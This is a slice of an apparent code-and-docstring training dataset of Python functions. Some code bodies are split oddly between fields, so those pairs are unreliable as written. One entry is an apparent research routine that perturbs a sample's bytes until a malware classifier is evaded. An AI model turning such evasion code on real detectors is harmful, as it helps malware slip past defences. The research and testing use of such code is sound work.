keylen), result)#=============================================================================# fuzz testing#=============================================================================_already_tested_others = Nonedef test_other_backends(self):compare output to other backends"} {"code": "def _configure_sampling(self):\n try:\n if self.sampling_rate and random.random() <= float(self.sampling_rate):\n logger.debug(\"Setting log level to Debug due to sampling rate\")\n self.log_level = logging.DEBUG\n except ValueError:\n raise InvalidLoggerSamplingRateError(\n f\"Expected a float value ranging 0 to 1, but received {self.sampling_rate} instead.\"\n f\"Please review POWERTOOLS_LOGGER_SAMPLE_RATE environment variable.\"\n )\n", "nl": "Dynamically set log level based on sampling rateRaises------InvalidLoggerSamplingRateErrorWhen sampling rate provided is not a float"} {"code": "def _get_build_time_element(self, build):\n selector = 'div[data-latest-build-result=\"%s\"] ' \\\n '[data-role=\"data-recent-build-buildtime-field\"]' % build.id\n\n self.wait_until_present(selector)\n\n build_time_spans = self.find_all(selector)\n\n self.assertEqual(len(build_time_spans), 1)\n\n return build_time_spans[0]\n", "nl": "Return the HTML element containing the build time for a buildin the recent builds area"} {"code": "def century(self, min_length: Optional[int] = None, max_length: Optional[int] = None) -> str:\n return self.random_element(self.centuries, min_length, max_length)\n", "nl": ":example: 'XVII'"} {"code": "def _to_cpu(state):", "nl": " store in cpu to avoid GPU0 device, fp16 to save space if isinstance(state, torch.Tensor):ret = state.cpu()if 'Float' in state.type():ret = ret.half()return retelif isinstance(state, list):new_state = [_to_cpu(t) for t in state]elif isinstance(state, tuple):new_state = tuple(_to_cpu(t) for t in state)elif isinstance(state, dict):new_state = {n: _to_cpu(t) for n, t in state.items()}else:return statereturn new_stateclass TrainingRestorer(object):ckpt_dict: a dict contains all optimizers/models"} {"code": "def test_AA_true_feeding_single(decoder_input, output, direction):\n\n batch_accuracy_AA = 0.0\n batch_len_AA = 0.0\n batch_len_decode = 0.0\n num_exact_match = 0.0\n num_len_match = 0.0\n\n\n for index in xrange(len(scans)):\n\n scan = scans[index]\n decoder_input = decoder_inputs[index]\n output = outputs[index]\n output_seq, _ = output\n\n (accuracy_AA,\n len_AA,\n len_decode,\n exact_match,\n len_match) = test_AA_decode_single(decoder_input, output_seq, direction)\n\n\n print_AA_basic(output_file_handle,\n scan,\n decoder_input,\n output,\n direction,\n accuracy_AA,\n len_AA,\n exact_match)\n\n batch_accuracy_AA += accuracy_AA\n batch_len_AA += len_AA\n batch_len_decode += len_decode\n num_exact_match += exact_match\n num_len_match += len_match\n\n return (batch_accuracy_AA,\n batch_len_AA,\n batch_len_decode,\n num_exact_match,\n num_len_match)\n\n", "nl": "TODO(nh2tran): docstring.accuracy_AA = 0.0len_AA = 0.0exact_match = 0.0len_match = 0.0# decoder_input = [AA]; output = [AA...]decoder_input = trim_decoder_input(decoder_input, direction)decoder_input_len = len(decoder_input)# measure accuracynum_match = test_AA_match_1by1(decoder_input, output)#~ accuracy_AA = num_match / decoder_input_lenaccuracy_AA = num_matchlen_AA = decoder_input_lenif num_match == decoder_input_len:exact_match = 1.0#~ if output_len == decoder_input_len:#~ len_match = 1.0return accuracy_AA, len_AA, exact_match, len_matchdef test_AA_decode_batch(scans,decoder_inputs,outputs,direction,output_file_handle):TODO(nh2tran): docstring."} {"code": "def test_macro(self):\n temp = self.mktemp()\n f = file(temp, 'w')\n f.write(doc)\n f.close()\n\n class Base(rend.Page):\n docFactory = loaders.xmlfile(temp)\n\n class Page1(Base):", "nl": "doc = <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"><html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xmlns:n=\"http://nevow.com/ns/nevow/0.1\"><body><n:invisible n:macro=\"content\" /></body></html>"} {"code": "def monounsaturated_fat(self) -> float:\n return self.details[\"polyunsaturated_fat\"]\n\n @property", "nl": "Monounsaturated Fatreturn self.details[\"monounsaturated_fat\"]@propertydef polyunsaturated_fat(self) -> float:Polyunsaturated Fat"} {"code": "def set_destination_value(self, value):\n if self._destination_value != value:\n self.log.debug(\"Setting new score_reel value. Old destination value: %s, New destination value: %s\",\n self._destination_value, value)\n\n self._destination_value = value\n\n self._busy.set()\n self._ready.clear()", "nl": "Return the integer value of the destination this reel is moving to.Args:----value: Destination value which this reel should try to reach.Returns: The value of the destination. If the current`self.assumed_value` is -999, this method will always return -999since it doesn't know where the reel is and therefore doesn't knowwhat the destination value would be."} {"code": "def skip_by_requirement(app, request):\n if request.node.get_closest_marker('skip_requirement'):\n\n if request.node.get_closest_marker('skip_requirement').args[0] == 'neo4j':\n with app.app_context():\n try:\n get_records(\"RETURN 1\")\n except ServiceUnavailable as e:\n pytest.skip(\"Neo4j server error : {}\".format(e))\n except AuthError as e:\n pytest.skip(\"Neo4j authentication error : {}\".format(e))\n\n\n@pytest.fixture", "nl": "Skip a test if the requirement is not met.Supporting argument: \"neo4j\"Usage:>>> @pytest.mark.skip_requirement('neo4j')>>> def test_get_team_dependencies(client):>>> pass"} {"code": "def one_public(self):\n pass\n\nclass Bbb(Aaa):\n \"\"\"docstring\"\"\"\n\n class Ddd(Aaa):\n \"\"\"docstring\"\"\"\n pass", "nl": "docstringpassdef another_public(self):docstring"} {"code": "def test_null_case(self):\n n = mi.ncycles(range(100), -10)\n self.assertRaises(StopIteration, lambda: next(n))\n\n\nclass DotproductTests(TestCase):\n \"\"\"Tests for ``dotproduct()``'\"\"\"", "nl": "asking for 0 cycles should return an empty iteratorn = mi.ncycles(range(100), 0)self.assertRaises(StopIteration, lambda: next(n))def test_pathalogical_case(self):asking for negative cycles should return an empty iterator"} {"code": "def test_map(doc):\n s = m.cast_set()\n assert s == {\"key1\", \"key2\"}\n s.add(\"key3\")\n assert m.load_set(s)\n\n assert doc(m.cast_set) == \"cast_set() -> Set[str]\"\n assert doc(m.load_set) == \"load_set(arg0: Set[str]) -> bool\"\n\n", "nl": "std::map <-> dictd = m.cast_map()assert d == {\"key\": \"value\"}d[\"key2\"] = \"value2\"assert m.load_map(d)assert doc(m.cast_map) == \"cast_map() -> Dict[str, str]\"assert doc(m.load_map) == \"load_map(arg0: Dict[str, str]) -> bool\"def test_set(doc):std::set <-> set"} {"code": "def displayWhisperPlayer(self, playerId, chatString, whisperType):\n print \"WhisperPlayer type %s from %s: %s\" % (whisperType, playerId, chatString)\n\n", "nl": "Displays the whisper message in whatever capacity makes sense.This is separate from setWhisper so we can safely call it byname from within setWhisper and expect the derived function tooverride it."} {"code": "def tkinteract(self):\n\n\n\n\n\n while 1:\n try:\n try:\n self.prepare()\n try:\n while 1:\n if sys.modules.has_key(\"_tkinter\"):\n self.really_tkinteract()\n break\n self.handle1()\n except EOFError:\n pass\n finally:\n self.restore()\n except KeyboardInterrupt:\n continue\n else:\n break\n", "nl": "Run a Tk-aware Python interactive session.This function simulates the Python top-level in a way thatallows Tk's mainloop to run."} {"code": "def get_figshare_files(jid=\"JVASP-1067\"):\n ids = \"\"\n for i in icsd_mp_dat:\n if i[\"mpid\"] == ref:\n if len(i[\"icsds\"]) != 0:\n if isinstance(i[\"icsds\"], list):\n ids = \",\".join(map(str, i[\"icsds\"]))\n else:\n ids = str(i[\"icsds\"]) + \",\"\n return ids\n\n", "nl": "Get Figshare download links.mem = []line = \"\"for i, j in figshare_dict.items():for k in j:if isinstance(k, dict):jjid = k[\"name\"].split(\"_\")[0].split(\".zip\")[0]if jjid == jid:info = {}info[\"category\"] = iinfo[\"url\"] = k[\"download_url\"]info[\"name\"] = k[\"name\"]line += \",\".join([i, k[\"name\"], k[\"download_url\"]]) + \";\"info[\"line\"] = linemem.append(info)return lineicsd_mp_dat = loadjson(\"/users/knc6/Software/Devs/jarvis/jarvis/jarvis/db/icsd_mp_dat.json\")# Number of ICSDs# x=[]# for i in icsd_mp_dat:# mpid=i['mpid']# tmp=icsd_mp(mpid)# if tmp!='':# print (mpid,tmp)# y=tmp.split(',')# for j in y:# x.append(j)# print (len(x))def icsd_mp(ref=\"\"):Get ICSD IDs given MPIDs."} {"code": "def make_train_test_dict(trials, test_frac=0.3):\n\n train_test_dict = {}\n for run in range(0, trials):\n train_test_dict[run] = train_test_sets(test_frac)\n return train_test_dict\n\n", "nl": "Make dictionary with training and testing subdivisionsArgs:trials (int): Number of training/testing splits to generatetest_frac (float) : Fraction of data to use for testingReturns:dict : Maps run count to training and testing set"} {"code": "def inverse_mult(self, u, delta): # TODO swap u, delta everywhere\n d: (...)\n u: (..., n)\n v: (...)\n \"\"\"", "nl": " Computes (I - d A)^-1 u raise NotImplementedError# @profiledef forward_diff(self, d, u, v, **kwargs): Computes the 'forward diff' or Euler update rule: (I - d A)^-1 u + d B v"} {"code": "def format_args_dict(args_dict, model_name):\n sorted_args = sorted(args_dict.items(), key=lambda x: x[0])\n\n max_key_width = 0\n if len(sorted_args) > 0:\n max_key_width = max(len(x[0]) for x in sorted_args)\n\n format_str = \"%-\" + str(max_key_width) + \"s %s\"\n\n args_string = '\\n'.join([format_str % (arg) for arg in sorted_args])\n args_string = \"Arguments for InVEST %s %s:\\n%s\\n\" % (model_name,\n __version__,\n args_string)\n return args_string\n\n", "nl": "Nicely format an arguments dictionary for writing to a stream.If printed to a console, the returned string will be aligned in two columnsrepresenting each key and value in the arg dict. Keys are in ascending,sorted order. Both columns are left-aligned.Args:args_dict (dict): The args dictionary to format.model_name (string): The model name (in python package import format)Returns:A formatted, unicode string."} {"code": "def __init__(self, where):\n super().__init__(where)\n\n\nclass ActionAddVarCgi(RouteAction):\n \"\"\"Add the specified CGI (environment) variable to the request.\"\"\"", "nl": ":param str|int where: Rule number of label to go to."} {"code": "def mog_LL(y, la, ms, Ps, ldetPs, from_cholesky=False):\n if from_cholesky:\n lps = [-0.5 * tensorQF_chol(P, y - m) + ldetP\n for m, P, ldetP in zip(ms, Ps, ldetPs)]\n else:\n lps = [-0.5 * (tensorQF(P, y - m) - ldetP)\n for m, P, ldetP in zip(ms, Ps, ldetPs)]\n\n logpdf_offset = -0.5 * np.log(2 * np.pi) * y.shape[1]\n\n return MyLogSumExp(tt.stack(lps, axis=1) + la, axis=1) + logpdf_offset\n\n", "nl": "Calculate log-likelihood of data points y for a MoGParameters----------y : 2D tensor (N_data x N_dim)data points at which to evaluate the MoGla : 2D tensor (N_data x N_components)logs of mixture coefficientsms : N_components-element list of 2D tensors (N_data x N_dim)Mixture meansPs : N_components-element list of 3D tensors (N_data x N_dim x N_dim)Mixture precisionsldetPs : N_components-element list of 1D tensors (N_data)Mixture precision log determinantsfrom_cholesky: boolWhether to instead interpret Ps as Cholesky factors of precisions,such that the precision of the j-th component for the -th data point isdot(Ps[j][i,:,:].T, Ps[j][i,:,:])Returns-------LL : 1D tensor (N_data)log-likelihood of MoG at the provided data points"} {"code": "def _run(self, x0, y0, x_init=None):\n\n\t\tif x_init is None:\n\t\t\tx_init = copy.copy(x0)\n\n\t\t_, current_conf = self.classifier.predict(x_init, return_decision_function=True)\n\t\tcurrent_conf = current_conf[1].item()\n\t\tself.confidences_ = [current_conf]\n\n\t\tif self.is_debug:\n\t\t\tprint(f'> Original Confidence: {current_conf}')\n\n\t\tif use_cuda:\n\t\t\tself._invalid_value = self._invalid_value.cuda()\n\n\t\tE = self._get_embedded_byte_matrix()\n\t\tif self.random_init:\n\t\t\tx_init = self._randomize_values_for_attack(x_init)\n\n\t\tif self.is_debug:\n\t\t\tprint(\"> Beginning new sample evasion...\")\n\n\t\tindex_to_consider = np.array(self.indexes_to_perturb)\n\t\tx_init = self.apply_feature_mapping(x_init)\n\t\tfor t in range(self.iterations):\n\t\t\tif current_conf < self.threshold:\n\t\t\t\tif self.is_debug:\n\t\t\t\t\tprint(f\"Stopped at confidence below threshold: {current_conf}/{self.threshold}\")\n\t\t\t\tbreak\n\n\t\t\tpenalty_term = self.compute_penalty_term(x0, x_init, self.penalty_regularizer)\n\t\t\tgradient_f = self.loss_function_gradient(x0, x_init, penalty_term)\n\t\t\tx_init = self.optimization_solver(E, gradient_f, index_to_consider, x_init)\n\t\t\tcurrent_conf = self.infer_step(x_init)\n\t\t\tif self.store_checkpoints:\n\t\t\t\tif not t % self.store_checkpoints:\n\t\t\t\t\tx_temp = self.invert_feature_mapping(x0, x_init)\n\t\t\t\t\t_, check_conf = self.classifier.predict(x_temp, return_decision_function=True)\n\t\t\t\t\tcheck_conf = check_conf[1].item()\n\t\t\t\t\tif self.is_debug:\n\t\t\t\t\t\tprint(f\">{t}/{self.iterations} storing checkpoint: {check_conf}\")\n\t\t\t\t\tself.confidences_.append(check_conf)\n\t\t\telse:\n\t\t\t\tself.confidences_.append(current_conf)\n\t\t\tif self.is_debug:\n\t\t\t\tprint(f\">{t}/{self.iterations} Shifted confidence:\\t{current_conf}\")\n\n\t\tx_init = self.invert_feature_mapping(x0, x_init)\n\t\t_, current_conf = self.classifier.predict(x_init, return_decision_function=True)\n\t\tcurrent_conf = current_conf[1].item()\n\t\tif self.is_debug:\n\t\t\tprint(f'>AFTER INVERSION, CONFIDENCE SCORE: {current_conf}')\n\t\treturn x_init, current_conf\n", "nl": "Tries to achieve evasion against and end-to-end classifier.Parameters----------x0 : CArrayInitial sample.y0 : int or CArrayThe true label of x0.x_init : CArray or None, optionalInitialization point. If None, it is set to x0.Returns-------x_opt : CArrayEvasion samplef_opt : floatValue of objective function on x_opt.Notes-----Internally, it stores the confidences at each round."} {"code": "def test_batch_recipients_get_unique_message_ids(self):\n self.set_mock_response(status_code=500)\n sent = self.message.send(fail_silently=True)\n self.assertEqual(sent, 0)\n self.assertIsNone(self.message.anymail_status.status)\n self.assertIsNone(self.message.anymail_status.message_id)\n self.assertEqual(self.message.anymail_status.recipients, {})\n self.assertIsNone(self.message.anymail_status.esp_response)\n", "nl": "In a batch send, each recipient should get a distinct own message_idmsg = mail.EmailMessage('Subject', 'Message', 'from@example.com',['to1@example.com', 'Someone Else <to2@example.com>'],cc=['cc@example.com'])msg.merge_data = {} # force batch sendmsg.send()self.assertEqual(msg.anymail_status.message_id, {'mocked-uuid-1', 'mocked-uuid-2'})self.assertEqual(msg.anymail_status.recipients['to1@example.com'].message_id, 'mocked-uuid-1')self.assertEqual(msg.anymail_status.recipients['to2@example.com'].message_id, 'mocked-uuid-2')# cc's (and bcc's) get copied for all batch recipients, but we can only communicate one message_id:self.assertEqual(msg.anymail_status.recipients['cc@example.com'].message_id, 'mocked-uuid-2')@override_settings(ANYMAIL_SENDGRID_GENERATE_MESSAGE_ID=False)def test_disable_generate_message_id(self):msg = mail.EmailMessage('Subject', 'Message', 'from@example.com', ['to1@example.com'],)msg.send()self.assertIsNone(msg.anymail_status.message_id)self.assertIsNone(msg.anymail_status.recipients['to1@example.com'].message_id)# noinspection PyUnresolvedReferencesdef test_send_failed_anymail_status(self): If the send fails, anymail_status should contain initial values"} {"code": "def transform_incoming(self, obj, session):\n return obj\n\n\n @classmethod", "nl": " Tranform the SON object into one which will be able to beunwrapped by this document class.This method is designed for schema migration systems."} {"code": "def get(self, name: str, default: Optional[Any] = None) -> Any:", "nl": "Get a named attribute of this instance, or return the default.return self.__dict__.get(name, default)def pop(self, name: str, default: Any = _sentinel) -> Any:Pop, get and remove the named attribute of this instance."} {"code": "def write_json(self, base: Base):\n\n obj_id, obj = self.traverse_base(base)\n\n return obj_id, ujson.dumps(obj)\n", "nl": "Serializes a given base object into a json stringArguments:base {Base} -- the base object to be decomposed and serializedReturns:(str, str) -- a tuple containing the object id of the base object and the serialized object string"} {"code": "def test_double_uri_encoded_title():\n store.put(Bag('double'))\n\n response, content = http.requestU(\n 'http://our_test_domain:8001/bags/double/tiddlers/test%2520one',\n method='PUT',\n headers={'Content-Type': 'application/json'},\n body='{\"text\": \"hi\"}')\n\n assert response['status'] == '204'\n\n tiddler = store.get(Tiddler('test%20one', 'double'))\n assert tiddler.title == 'test%20one'\n\n", "nl": "This test works against wsgi-intercept but fails whenused with web server like CherryPy, nginx or Apache.This is because PATH_INFO is being decoded before being givento the environment. This is not a good thing, it means that thingslike %2F get turned into / in URIs.See: https://github.com/tiddlyweb/tiddlyweb/issues/86https://mail.python.org/pipermail/web-sig/2008-January/thread.html#3122"} {"code": "def get_bgp_neighbors(self):\n bgp_dict = {}\n\n cmd_bgp_all_sum = \"show bgp all summary vrf all\"\n bgp_summary_output = self._send_command(cmd_bgp_all_sum).strip()\n\n section_separator = r\"BGP summary information for \"\n bgp_summary_sections = re.split(section_separator, bgp_summary_output)\n if len(bgp_summary_sections):\n bgp_summary_sections.pop(0)\n\n for bgp_section in bgp_summary_sections:\n bgp_section = section_separator + bgp_section\n bgp_dict.update(bgp_summary_parser(bgp_section))\n\n return bgp_dict\n", "nl": "BGP neighbor information.Supports VRFs and IPv4 and IPv6 AFIs{\"global\": {\"router_id\": \"1.1.1.103\",\"peers\": {\"10.99.99.2\": {\"is_enabled\": true,\"uptime\": -1,\"remote_as\": 22,\"address_family\": {\"ipv4\": {\"sent_prefixes\": -1,\"accepted_prefixes\": -1,\"received_prefixes\": -1}},\"remote_id\": \"0.0.0.0\",\"local_as\": 22,\"is_up\": false,\"description\": \"\"}}}"} {"code": "def context_processor(self, request: HttpRequest) -> dict:\n context = {}\n if hasattr(request, \"current_page\"):\n if getattr(settings, \"WEB_ANALYTICS_ID\", None):\n context[\"WEB_ANALYTICS_ID\"] = settings.WEB_ANALYTICS_ID\n context[\"WEB_ANALYTICS_DIMENSIONS\"] = self.get_dimensions(request)\n\n context[\"WEB_ANALYTICS_LOCATION\"] = getattr(\n settings, \"WEB_ANALYTICS_LOCATION\", \"head\"\n )\n\n context[\"WEB_ANALYTICS_PROVIDER\"] = getattr(\n settings, \"WEB_ANALYTICS_PROVIDER\", \"google_analytics\"\n )\n return context\n", "nl": "Real implementation of the context processor for the Web Analytics core app sub-module"} {"code": "def get_lines(value):\n For each setting, the value shown corresponds to, in descending\n order of priority:\n \"\"\").add_child(", "nl": "Convert \\\\n line breaks into <br> and escape the lines.escaped_value = safe_dom.NodeList()for line in str(value).split('\\n'):escaped_value.append(safe_dom.Text(line)).append(safe_dom.Element('br'))return escaped_value# get fresh properties and their overridesunused_overrides = config.Registry.get_overrides(force_update=True)registered = config.Registry.registered.copy()db_overrides = config.Registry.db_overrides.copy()names_with_draft = config.Registry.names_with_draft.copy()count = 0for name in sorted(registered.keys()):count += 1item = registered[name]if not item.show_in_site_settings:continuehas_environ_value, unused_environ_value = item.get_environ_value()# figure out what kind of override this isclass_current = ''if has_environ_value:class_current = 'gcb-env-diff'if item.name in db_overrides:class_current = 'gcb-db-diff'if item.name in names_with_draft:class_current = 'gcb-db-draft'# figure out default and current valuedefault_value = item.default_valuevalue = item.valueif default_value:default_value = str(default_value)if value:value = str(value)style_current = get_style_for(value, item.value_type)tr = safe_dom.Element('tr')table.add_child(tr)tr.add_child(safe_dom.Element('td', style='white-space: nowrap;',title=item.name).add_text(item.label))td_value = safe_dom.Element('td').add_child(get_lines(value))if style_current:td_value.add_attribute(style=style_current)if class_current:td_value.add_attribute(className=class_current)tr.add_child(td_value)tr.add_child(safe_dom.Element('td', style='white-space: nowrap;', align='center').add_child(get_actions(name, name in db_overrides or name in names_with_draft)))tr.add_child(safe_dom.Element('td').add_child(get_doc_string(item, default_value)))table.add_child(safe_dom.Element('tr').add_child(safe_dom.Element('td', colspan='4', align='right').add_text('Total: %s item(s)' % count)))content.append(safe_dom.Element('p').add_child(safe_dom.Element('strong').add_text('Legend')).add_text(':').add_text("} {"code": "def __init__(self, omci_agent):\n super(AlarmDbExternal, self).__init__(omci_agent)\n self._core = omci_agent.core\n", "nl": "Class initializer:param omci_agent: (OpenOMCIAgent) OpenOMCI Agent"} {"code": "def publish_connection_checked_in(self, address, connection_id):\n event = ConnectionCheckedInEvent(address, connection_id)\n for subscriber in self.__cmap_listeners:\n try:\n subscriber.connection_checked_in(event)\n except Exception:\n _handle_exception()", "nl": "Publish a :class:`ConnectionCheckedInEvent` to all connectionlisteners."} {"code": "def _create_cell(args, cell_body):\n name = args.get('name')\n if name is None:\n raise Exception(\"Pipeline name was not specified.\")\n pipeline_spec = google.datalab.utils.commands.parse_config(\n cell_body, google.datalab.utils.commands.notebook_environment())\n airflow_spec = google.datalab.contrib.pipeline._pipeline.PipelineGenerator.generate_airflow_spec(\n name, pipeline_spec)\n\n debug = args.get('debug')\n if debug is True:\n return airflow_spec\n\n", "nl": "Implements the pipeline cell create magic used to create Pipeline objects.The supported syntax is:%%pipeline create <args>[<inline YAML>]Args:args: the arguments following '%%pipeline create'.cell_body: the contents of the cell"} {"code": "def vgg11(**kwargs):\n model = VGG(make_layers(cfg['A']), **kwargs)\n return model\n\n", "nl": "VGG 11-layer model (configuration \"A\")Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def load(self, default=_nothing):\n try:\n return self.pathEntry.pythonPath.moduleLoader(self.name)\n except:", "nl": "Load this module.@param default: if specified, the value to return in case of an error.@return: a genuine python module.@raise: any type of exception. Importing modules is a risky business;the erorrs of any code run at module scope may be raised from here, aswell as ImportError if something bizarre happened to the system pathbetween the discovery of this PythonModule object and the attempt toimport it. If you specify a default, the error will be swallowedentirely, and not logged.@rtype: types.ModuleType."} {"code": "def set_dashlength(self, dl):\n self._dashlength = dl\n self.stale = True\n", "nl": "Set the length of the dash, in canvas units.Parameters----------dl : float"} {"code": "def params(self, *args):\n ret = []\n for a in args:\n if not isinstance(a, str):\n raise TypeError(\"Parameter names must be strings.\")\n\n if a not in self.free_params:\n if self.locked:\n raise CircuitError(\n \"The Program is locked, no more free parameters can be created.\"\n )\n p = FreeParameter(a)\n self.free_params[a] = p\n else:\n p = self.free_params[a]\n ret.append(p)\n\n if len(ret) == 1:\n return ret[0]\n return ret\n", "nl": "Create and access free circuit parameters.Returns the named free parameters. If a parameter does not exist yet, it is created and returned.Args:*args (tuple[str]): name(s) of the free parameters to accessReturns:FreeParameter, list[FreeParameter]: requested parameter(s)"} {"code": "def unsubscribe(self, topic):\n logger.debug(\"%s(): Waiting for Subscriptions lock...\", DxlUtils.func_name())\n self._subscriptions_lock.acquire()\n try:\n if topic in self._subscriptions:\n if self.connected:\n result, mid = self._client.unsubscribe(topic)\n self._wait_for_packet_ack(result, mid,\n \"unsubscription to \" + topic)\n finally:\n if topic in self._subscriptions:\n self._subscriptions.remove(topic)\n logger.debug(\"%s(): Releasing Subscriptions lock.\", DxlUtils.func_name())\n self._subscriptions_lock.release()\n", "nl": "Unsubscribes from the specified topic on the DXL fabric.See the :func:`subscribe` method for more information on subscriptions.:param topic: The topic to unsubscribe from"} {"code": "def get_sql_for_new_models(apps=None, using=DEFAULT_DB_ALIAS):\n connection = connections[using]\n\n tables = connection.introspection.table_names()\n seen_models = connection.introspection.installed_models(tables)\n created_models = set()\n pending_references = {}\n\n if apps:\n apps = [models.get_app(a) for a in apps]\n else:\n apps = models.get_apps()\n\n all_models = [\n (app.__name__.split('.')[-2], [\n m\n for m in models.get_models(app, include_auto_created=True)\n if router.allow_syncdb(using, m)\n ])\n for app in apps\n ]\n", "nl": "Unashamedly copied and tweaked from django.core.management.commands.syncdb"} {"code": "def test_setting_provision_state_fails(self):\n url = self.url + \"/111/states/provision\"\n (response, content) = self.successResultOf(json_request(\n self, self.root, b\"PUT\", url, body={'target': 'active'}))\n self.assertEqual(response.code, 404)\n self.assertTrue('111' in content['error_message']['faultstring'])\n", "nl": "Test ``/nodes/<node-id>/states/provision`` returns a 404 whenthe node does not exist"} {"code": "def get_origin(self):\n return self.origin\n", "nl": "Function to get the origin of the plane frame.Returns-------output : array-likeOrigin of the plane frame."} {"code": "def clean(self, value):\n value = super().clean(value)\n if value in self.empty_values:\n return value\n\n try:\n datetime.date(int(value[1:3]), int(value[3:5]), int(value[5:7]))\n except ValueError:\n raise ValidationError(self.error_messages['invalid'], code='invalid')\n\n key = '279146358279'\n checksum = 0\n value_iter = iter(value)\n\n for digit in key:\n checksum += int(digit) * int(next(value_iter))\n\n checksum %= 11\n\n if checksum == 10:\n checksum = 1\n\n if checksum != int(value[12]):\n raise ValidationError(self.error_messages['invalid'], code='invalid')\n\n return value\n\n\nclass ROCountyField(CharField):\n \"\"\"\n", "nl": "CNP validations.Args:value: the CNP code"} {"code": "def agentc_REMOVE_ALL_RSA_IDENTITIES(self, data):\n self.sendResponse(AGENT_SUCCESS, b'')\n\n\nAGENTC_REQUEST_RSA_IDENTITIES = 1\nAGENT_RSA_IDENTITIES_ANSWER = 2\nAGENT_FAILURE = 5\nAGENT_SUCCESS = 6\n\nAGENTC_REMOVE_RSA_IDENTITY = 8\nAGENTC_REMOVE_ALL_RSA_IDENTITIES = 9\n\nAGENTC_REQUEST_IDENTITIES = 11\nAGENT_IDENTITIES_ANSWER = 12\nAGENTC_SIGN_REQUEST = 13\nAGENT_SIGN_RESPONSE = 14\nAGENTC_ADD_IDENTITY = 17\nAGENTC_REMOVE_IDENTITY = 18\nAGENTC_REMOVE_ALL_IDENTITIES = 19\n\nmessages = {}\nfor name, value in locals().copy().items():\n if name[:7] == 'AGENTC_':\n messages[value] = name[7:]", "nl": "v1 message for removing all RSA1 keys; superseded byagentc_REMOVE_ALL_IDENTITIES, which handles different key types."} {"code": "def valid(self, modes):\n return self._map\n", "nl": "checks if the mode list is validif modes is None:return Falseif isinstance(modes, int):modes = [modes]# pylint: disable=len-as-conditionif len(modes) == 0 or len(modes) > len(self._map):return Falsefor m in modes:if not self._single_mode_valid(m):return Falsereturn Truedef show(self):Returns the mapping"} {"code": "def doRollover(self):\n if self.stream:\n self.stream.close()\n self.stream = None\n if self.backupCount > 0:\n for i in range(self.backupCount - 1, 0, -1):\n sfn = \"%s.%d\" % (self.baseFilename, i)\n dfn = \"%s.%d\" % (self.baseFilename, i + 1)\n if os.path.exists(sfn):\n if os.path.exists(dfn):\n os.remove(dfn)\n os.rename(sfn, dfn)\n dfn = self.baseFilename + \".1\"\n if os.path.exists(dfn):\n os.remove(dfn)\n if os.path.exists(self.baseFilename):\n os.rename(self.baseFilename, dfn)\n if not self.delay:\n self.stream = self._open()\n", "nl": "Do a rollover, as described in __init__()."} {"code": "def __enterZone(self, zoneId):\n if zoneId != self.zoneId:\n self.sp.zoneChange(self, self.zoneId, zoneId)\n self.air.sendSetZone(self, zoneId)\n self.zoneId = zoneId\n\n if self.pathState == 1:\n self.sp.checkForBattle(zoneId, self)\n", "nl": "Switches the suit to the indicated zone. Normally this iscalled by moveToNextLeg()."} {"code": "def test_kulczynski_i_sim_score(self):\n self.assertRaises(NotImplementedError, self.cmp.dist)\n", "nl": "Test abydos.distance.KulczynskiI.sim_score.# Base casesself.assertEqual(self.cmp.sim_score('', ''), 0.0)self.assertEqual(self.cmp.sim_score('a', ''), 0.0)self.assertEqual(self.cmp.sim_score('', 'a'), 0.0)self.assertEqual(self.cmp.sim_score('abc', ''), 0.0)self.assertEqual(self.cmp.sim_score('', 'abc'), 0.0)self.assertEqual(self.cmp.sim_score('abc', 'abc'), float('inf'))self.assertEqual(self.cmp.sim_score('abcd', 'efgh'), 0.0)self.assertAlmostEqual(self.cmp.sim_score('Nigel', 'Niall'), 0.5)self.assertAlmostEqual(self.cmp.sim_score('Niall', 'Nigel'), 0.5)self.assertAlmostEqual(self.cmp.sim_score('Colin', 'Coiln'), 0.5)self.assertAlmostEqual(self.cmp.sim_score('Coiln', 'Colin'), 0.5)self.assertAlmostEqual(self.cmp.sim_score('ATCAACGAGT', 'AACGATTAG'), 1.0)def test_kulczynski_i_dist(self):Test abydos.distance.KulczynskiI.dist."} {"code": "def _batch_gvcfs(data, region, vrn_files, ref_file, out_file=None):\n if out_file is None:\n out_file = vrn_files[0]\n max_batch = int(dd.get_joint_group_size(data))\n if len(vrn_files) > max_batch:\n out = []\n num_batches = int(math.ceil(float(len(vrn_files)) / max_batch))\n for i, batch_vrn_files in enumerate(tz.partition_all(num_batches, vrn_files)):\n base, ext = utils.splitext_plus(out_file)\n batch_out_file = \"%s-b%s%s\" % (base, i, ext)\n out.append(run_combine_gvcfs(batch_vrn_files, region, ref_file, batch_out_file, data))\n return _batch_gvcfs(data, region, out, ref_file)\n else:\n return vrn_files\n", "nl": "Perform batching of gVCF files if above recommended input count."} {"code": "def reset(self, benchmark: Benchmark) -> None:\n self.previous_action = None\n for space in self.spaces.values():\n space.reset(benchmark=benchmark)\n", "nl": "Reset the rewards space view. This is called on:meth:`env.reset() <compiler_gym.envs.CompilerEnv.reset>`.:param benchmark: The benchmark that is used for this episode."} {"code": "def put_image(self, img_name, img_tensor):\n self._vis_data.append((img_name, img_tensor, self._iter))\n", "nl": "Add an `img_tensor` to the `_vis_data` associated with `img_name`.Args:img_name (str): The name of the image to put into tensorboard.img_tensor (torch.Tensor or numpy.array): An `uint8` or `float`Tensor of shape `[channel, height, width]` where `channel` is3. The image format should be RGB. The elements in img_tensorcan either have values in [0, 1] (float32) or [0, 255] (uint8).The `img_tensor` will be visualized in tensorboard."} {"code": "def _list_bids_aggregator(self, arguments: Dict):\n raise CommandTypeNotSupported(\n f\"Offer command not supported on device {self.device.uuid}\")\n", "nl": "Callback for the list bids endpoint when sent by aggregator.raise CommandTypeNotSupported(f\"List bids command not supported on device {self.device.uuid}\")def _offer_aggregator(self, arguments: Dict):Callback for the offer endpoint when sent by aggregator."} {"code": "def make_resource(self, data, **kwargs):\n\n @post_load", "nl": "Generate resource.return SlurmQueueNetworking(**data)class AwsBatchQueueNetworkingSchema(QueueNetworkingSchema):Represent the schema of the Networking, child of aws batch Queue."} {"code": "def compute_eta_and_sample_z(h, kernel_size=GQN_DEFAULT_CONFIG.ETA_INTERNAL_KERNEL_SIZE, channels=GQN_DEFAULT_CONFIG.Z_CHANNELS):\n mu, sigma = eta(h, kernel_size, channels, scope=\"eta\")\n with tf.variable_scope(\"Sampling\"):\n z_shape = 